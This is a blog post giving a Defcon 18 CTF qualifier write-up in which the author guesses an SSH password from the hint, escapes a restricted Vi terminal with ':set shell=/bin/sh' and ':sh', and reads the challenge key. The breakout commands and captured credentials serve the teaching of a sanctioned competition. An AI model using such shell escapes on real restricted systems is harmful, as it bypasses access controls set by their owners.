Bernardo Damele A. G.

A weblog about me and my information technology thoughts

Tuesday, May 25, 2010

Defcon 18 CTF quals writeup: Pursuit Trivial 200

The second Defcon 18 CTF challenge that I solved was **Pursuit Trivial 200**.

Title: sheep@pwn21.ddtek.biz:6000 sheep go baaAaaA

Being it part of the trivial category I though immediately that the password for user `sheep` was `baaAaaA` and in fact, it was.
I logged into the server over SSH and got a grey terminal where I could not type in any command. I thought that it was a local issue, but it wasn't. I tried to resize the terminal with no luck.
By swapping in and out of the terminal, I accidentally spotted the cursor at the very top left corner of the screen. Same position of any common text editor. My first try was to terminate it with usual `CTRL+*` combinations and `:q!`. None of these work, but at this point I wondered if it was Vi.
Like I did a few times in the past during jail break assessments, I (ab)used Vi `set` command as follows:

```
:set shell=/bin/sh
:sh
```

Pwned!

I typed in the following commands and luckily the key was in my home directory:

```
id
uid=505(sheep) gid=505(sheepy) groups=505(sheepy)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
pwd
/chroot/home/sheep
ls
key
cat key
SHis4pansies
```

The key is `SHis4pansies`.

Posted by Bernardo Damele A. G. at 21:45
Labels: breakout, ctf, defcon, quals, sh, vi

0 comments:

Post a Comment

Links to this post

Week 21 in Review - 2010
[CTF]DEFCON18 CTF quals終了

Create a Link

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)

About Me

Bernardo Damele A. G.
London, London, United Kingdom
View my complete profile

Projects

- sqlmap: Automatic SQL injection and database takeover tool
- keimpx: Check for the usefulness of credentials across a network over SMB
- Database takeover UDF repository
- MS08-067 security check
- matew: Static valid HTML/CSS image albums generator
- Debian GNU/Linux packages maintainer
- Slackware regeneratepkg script

Whitepapers and Presentations

- Got database access? Own the network!
- Expanding the control over the operating system from the database
- Advanced SQL injection to operating system full control (whitepaper)
- Advanced SQL injection to operating system full control (slides)
- SQL injection: Not Only AND 1=1
- More presentations

Blog Archive

- ▼ 2010 (8)
  - ► November (1)
  - ► June (2)
  - ▼ May (3)
    - Defcon 18 CTF quals writeup: Pwtent Pwnables 200
    - Defcon 18 CTF quals writeup: Pursuit Trivial 200
    - Defcon 18 CTF quals writeup: Packet Madness 200

► March (1)
► January (1)
► 2009 (31)
► 2008 (13)
► 2007 (7)